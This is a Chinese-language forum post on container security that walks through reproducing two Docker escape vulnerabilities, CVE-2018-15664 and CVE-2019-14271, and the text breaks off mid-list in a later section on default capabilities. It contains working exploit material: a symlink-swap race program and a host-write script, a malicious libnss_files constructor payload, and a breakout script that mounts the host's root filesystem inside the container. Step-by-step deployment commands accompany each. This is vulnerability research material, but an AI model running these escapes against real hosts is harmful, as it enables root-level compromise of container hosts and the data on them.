標題:容器安全

taibeihacker

Moderator

容器基础设施的安全风险分析​

在雲原生生態中已經有很多種不同的容器運行時實現,但考慮到穩定性和使用的廣泛程度,下面仍以docker 為例進行分析。
202111101917031.webp-water_print

從容器鏡像、活動容器、容器網絡、容器管理接口、宿主機操作系統和軟件漏洞等六方面來分析容器基礎設施可能存在的風險。

1 针对容器开发测试过程中的攻击案例​

1.1 背景​

docker cp 命令
docker cp 命令用於在Docker 創建的容器中與宿主機文件系統之間進行文件或目錄複製。
符號鏈接
符號鏈接- 軟連接。類似於windows 上的快捷方式
在linux 中創建符號鏈接:
1
ln -s target_path link_path

1.2 CVE-2018-15664 - 符号链接替换漏洞​

影響版本:Docker 在17.06.0-ce~17.12.1-ce:rc2,18.01.0-ce~18.06.1-ce:rc2 版本範圍內受該漏洞影響

1.2.1 原理​

漏洞poc 參考作者Aleksa Sarai 公佈的poc 文件:https://seclists.org/oss-sec/2019/q2/131
CVE-2018-15664 實際上是一個TOCTOU(time-of-check to time-of-use) 的問題。當用戶執行docker cp 命令後,Docker 守護進程接收到請求,會對用戶給出的複制路徑進行檢查。如果路徑中有容器內部的符號鏈接,則現在容器內部將其解析成對應的路徑字符串,留待後用。
如果在Docker 守護進程檢查復制路徑時,攻擊者在這裡先放置一個非符號鏈接的的常規文件或目錄,檢查結束後,攻擊者在Docker 守護進程使用路徑前將其替換為一個符號鏈接,那麼這個符號鏈接就會被打開時在宿主機上解析,從而導致目錄穿越。

1.2.2 漏洞复现​

利用metarget 快速搭建CVE-2018-15664 環境:
1
./metarget cnv install cve-2018-15664
下載並解壓PoC
202111101858440.png-water_print

其中, build 目錄包含了用來編譯EXP 的Dockerfile 和漏洞利用源代碼symlink_swap.c
注意
構建鏡像時,在容器內安裝gcc 時報錯,可以先在宿主機將symlink_swap 編譯好,再COPY 到容器中。
修改後的Dockerfile:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
# Build the binary.
FROM opensuse/tumbleweed
# RUN zypper in -y gcc glibc-devel-static
RUN mkdir /builddir
COPY symlink_swap.c /builddir/symlink_swap.c
# RUN gcc -Wall -Werror -static -lpthread -o /builddir/symlink_swap /builddir/symlink_swap.c
COPY symlink_swap /builddir/symlink_swap
# Set up our malicious rootfs.
FROM opensuse/tumbleweed
ARG SYMSWAP_TARGET=/w00t_w00t_im_a_flag
ARG SYMSWAP_PATH=/totally_safe_path
RUN echo 'FAILED -- INSIDE CONTAINER PATH' '$SYMSWAP_TARGET'
COPY --from=0 /builddir/symlink_swap /symlink_swap
ENTRYPOINT ['/symlink_swap']
Dockerfile 的主要內容是構建漏洞利用程序,並將其放在容器的根目錄下,並在根目錄下創建一個w00t_w00t_im_a_flag 文件,內容為:FAILED -- INSIDE CONTAINER PATH。容器啟動後執行的程序(Entrypoint) 即為:symlink_swap。
Symlink_swap.c 內容:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
/*
* Now create a symlink to '/' (which will resolve to the host's root if we
* win the race) and a dummy directory at stash_path for us to swap with.
* We use a directory to remove the possibility of ENOTDIR which reduces
* the chance of us winning.
*/
if (symlink('/', symlink_path) 0)
bail('create symlink_path');
if (mkdir(stash_path, 0755) 0)
bail('mkdir stash_path');
/* Now we do a RENAME_EXCHANGE forever. */
for (;) {
int err=rrenameat2(AT_FDCWD, symlink_path,
AT_FDCWD, stash_path, RENAME_EXCHANGE);
if (err 0)
perror('symlink_swap: rename exchange failed');
}
return 0;
}
在容器內創建指向根目錄的符號鏈接,並不斷地交換符號鏈接(由命令行參數傳入,如「totaly_safe_path」)與一個正常的目錄(如:「totaly_safe_path-stashed」)的名字。
run_read.sh : 實現讀取宿主機文件內容的shell 腳本
run_write.sh : 實現在宿主機寫文件的shell 腳本
以run_write.sh 為例:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
SYMSWAP_PATH=/totally_safe_path
SYMSWAP_TARGET=/w00t_w00t_im_a_flag
# Create our flag.
echo 'FAILED -- HOST FILE UNCHANGED' | sudo tee '$SYMSWAP_TARGET'
sudo chmod 0444 '$SYMSWAP_TARGET'
# Run and build the malicious image.
docker build -t cyphar/symlink_swap \
--build-arg 'SYMSWAP_PATH=$SYMSWAP_PATH' \
--build-arg 'SYMSWAP_TARGET=$SYMSWAP_TARGET' build/
ctr_id=$(docker run --rm -d cyphar/symlink_swap '$SYMSWAP_PATH')
echo 'SUCCESS -- HOST FILE CHANGED' | tee localpath
# Now continually try to copy the files.
while true
do
docker cp localpath '${ctr_id}:$SYMSWAP_PATH/$SYMSWAP_TARGET'
done
run_write.sh 啟動後惡意容器運行,然後不斷執行docker cp 命令
202111101901056.png-water_print

1.3 CVE-2019-14271​

影響Docker 19.03.x before 19.03.1

1.3.1 原理​

docker cp 命令依賴的docker-tar 組件會加載容器內部的nsswitch 動態鏈接庫,攻擊者可以通過劫持容器內部的nsswitch 來實現代碼的注入,獲得宿主機上的root 權限的代碼執行能力。
用戶在執行docker cp 後,Docker 守護進程啟動docker-tar 進程來完成複制。以「從容器內文件複製到宿主機為例」,它會切換進程的根目錄(執行chroot)到容器根目錄,將需要復制的文件打包,然後傳遞給Docker 守護進程,Docker 守護進程負責將內容解析到用戶指定的宿主機目標路徑。
chroot 的操作主要是為了避免符號鏈接導致的路徑穿越問題,但存在漏洞版本的docker-tar 會加載必要的動態鏈接庫,主要以libness_ 開頭的nsswitch 動態鏈接庫。 chroot 切換根目錄後,docker-tar 將加載容器內部的動態鏈接庫。
漏洞利用過程如下:
找出docker-tar 具體會加載哪些容器內的動態鏈接庫。
下載對應的動態鏈接庫源碼,增加__attribute__ 屬性的函數run_at_link(該函數在動態鏈接庫被加載時首先執行)
等待docker cp 觸發漏洞

1.3.2 漏洞复现​

1.3.2.1 确定目标​

確定docker cp 執行中用到哪些容器內的動態鏈接庫。
在存在漏洞的Docker 環境中,創建容器:
1
docker run -itd --name=test ubuntu
尋找容器在宿主機上的絕對路徑:
1
docker exec -it test cat /proc/mounts | grep docker
返回結果包含:
1
workdir=/var/lib/docker/overlay2/42549fa40947a72bc4f3ae8b8676297d774d4fe2f8afb7122717548b06861d85/work
容器在宿主機上的絕對路徑即為:/var/lib/docker/overlay2/42549fa40947a72bc4f3ae8b8676297d774d4fe2f8afb7122717548b06861d85/merged
安裝監控文件:
1
apt install inotify-tools
監控文件夾:
1
inotifywait -mr /var/lib/docker/overlay2/42549fa40947a72bc4f3ae8b8676297d774d4fe2f8afb7122717548b06861d85/merged/lib
執行docker cp
1
docker cp test:/etc/passwd ./
202111111535776.png-water_print

可以看到加載了libnss_files-2.31.so

1.3.2.2 构建动态链接库​

libnss_*.so 均在Glibc 中,首先下載Glibc 庫到本地。
首先要註釋掉gccwarn-c=-Wstrict-prototypes -Wold-style-definition,避免加入payload 後編譯失敗。
202111111540158.png-water_print

在./nss/nss_files 目錄下任意源碼文件中添加payload。以files-service.c 為例。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
//content should be added into nss/nss_files/files-service.c
#include sys/types.h
#include unistd.h
#include stdio.h
#include sys/wait.h
# 容器內部原始libnss_files.so.2 文件備份位置
#define ORIGINAL_LIBNSS '/original_libnss_files.so.2'
# 惡意libnss_files.so.2 文件位置
#define LIBNSS_PATH '/lib/x86_64-linux-gnu/libnss_files.so.2'
bool is_priviliged();
__attribute__ ((constructor)) void run_at_link(void) {
char * argv_break[2];
//判斷是否容器外是高權限執行,即docker-tar
if (!is_priviliged())
return;
//攻擊執行一次即可,用原始的替換備份的庫文件
//避免後續對環境產生影響
rename(ORIGINAL_LIBNSS, LIBNSS_PATH);
//以docker-tar 運行/breakout 惡意腳本
if (!fork()) {
//Child runs breakout
argv_break[0]=strdup('/breakout');
argv_break[1]=NULL;
execve('/breakout', argv_break, NULL);
}
else
wait(NULL); //Wait for child
return;
}
bool is_priviliged() {
FILE * proc_file=fopen('/proc/self/exe', 'r');
if (proc_file !=NULL) {
fclose(proc_file);
return false; //can open so /proc exists, not privileged
}
return true; //we're running in the context of docker-tar
}
編譯:
1
2
3
4
5
6
7
8
9
10
11
12
13
# 目錄結構:
- gnu
- glibc-2.27
- glibc-build
# 安裝bison
apt install bison
# 新建glibc-build 目錄
mkdir glibc-build
# 要到上級目錄進行config,不然會報錯
./glibc-2.27/glibc-build/configure --prefix=/usr/
# 編譯
~/glibc-2.27/glibc-build make

1.3.2.3 逃逸​

breakout 文件:
將procfs 偽文件系統掛載到容器內,將PID 為1 的根目錄/proc/1/root 綁定掛載到容器內部即可。
1
2
3
4
5
6
7
8
9
#!/bin/bash
umount /host_fs rm -rf /host_fs
mkdir /host_fs
mount -t proc none /proc # mount the host's procfs over /proc
cd /proc/1/root # chdir to host's root
mount --bind . /host_fs # mount host root at /host_fs
首先創建victim 容器:
1
docker run -itd --name=victim ubuntu
將breakout 腳本放到victim 容器根目錄。
1
docker cp ./breakout victim:/breakout
進入容器,再將/lib/x86_64-linux-gnu 下的libnss_files.so.2 符號鏈接指向庫文件移動到容器根目錄下並重命名為original_libnss_files.so.2,可以使用以下命令查看:
1
2
3
readlink /lib/x86_64-linux-gnu/libnss_files.so.2
mv /lib/x86_64-linux-gnu/libnss_files.so.2 /original_libnss_files.so.2
最後將構建好的惡意libnss_files.so 重命名為libnss_files.so.2,放到容器內/lib/x86_64-linux-gnu 下。
模擬用戶執行docker cp 操作:
1
docker cp victim:/etc/passwd ./
執行後,漏洞被觸發,容器內部已經能看到掛載的/host_fs,其中的/etc/hostname 顯示的即為宿主機的hostname。
202111111706164.png-water_print

2 针对容器软件供应链的攻击案例​

從用戶角度來看,容器鏡像在獲取途徑上,我們將其分為“從公共倉庫獲取”以及“從私有倉庫獲取”兩種,那麼對於從公共倉庫獲取的鏡像,最重要的兩個脆弱性問題:一方面是鏡像中軟件的安全漏洞問題;另一方面是鏡像內的挖礦程序、後門程序、病毒、木馬等惡意程序。

2.1 镜像漏洞利用​

鏡像漏洞利用指的是鏡像本身存在漏洞時,使用鏡像創建並運行的容器也通常會存在
相同漏洞,攻擊者利用鏡像中存在的漏洞去攻擊容器,往往具有事半功倍的效果。
例如,Alpine 是一個輕量化的Linux 發行版,基於musl libc 和busybox 構建而成。由
於其體積較小,因此以Alpine 為基礎鏡像構建軟件是非常流行的。但Alpine 鏡像曾曝出一個漏洞:CVE-2019-5021。在3.3 ~ 3.9 版本的Alpine 鏡像中,root 用戶密碼被設置為空,攻擊者可能在攻入容器後藉此提升到容器內部root 權限。
官方對此的回應是,Alpine 鏡像使用busybox 作為核心工具鏈,通過/etc/security
限制了可以登入root 用戶的tty 設備。除非是用戶主動安裝shadow 和linux-pam 來代替默認工具鏈,否則這個漏洞並不好利用。
但是,安全防護注重全面性,具有明顯的短板效應。假如用戶真的出於某種需求替換了默認工具鏈呢?那麼進入容器的攻擊者藉助此漏洞就能直接獲得容器內部root 權限了。
1
2
3
4
FORM alpine:3.5
RUN apk add --no-cache shadow
RUN adduser -S non_root
USER non_root

2.2 镜像投毒​

鏡像投毒是一個寬泛的話題。它指的是攻擊者通過某些方式,如上傳惡意鏡像到公開
倉庫、入侵系統後上傳鏡像到受害者本地倉庫,以及修改鏡像名稱並假冒正常鏡像等,欺騙、誘導受害者使用攻擊者指定的惡意鏡像創建並運行容器,從而實現入侵或利用受害者的主機進行惡意活動的行為。
根據目的不同,常見的鏡像投毒有三種類型:投放惡意挖礦鏡像、投放惡意後門鏡像和投放惡意exploit 鏡像

3 针对容器运行时的攻击​

3.1 不安全配置导致的容器逃逸​

Docker 已經將容器運行時的Capabilities 黑名單機制改為如今的默認禁止所有Capabilities,再以白名單方式賦予容器運行所需的最小權限。截止本文成稿時,Docker 默認賦予容器近40 項權限中的14 項:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
func DefaultCapabilities() []string {
return []string{
'CAP_CHOWN',
'CAP_DAC_OVERRIDE',
'CAP_FSETID',
'CAP_FOWNER',
'CAP_MKNOD',
'CAP_NET_RAW',
'CAP_SETGID',
'CAP_SETUID',
'CAP_SETFCAP',
'CAP_SETPCAP',
'CAP_NET_BIND_SERVICE',
'CAP_SYS_CHRO
 
返回
上方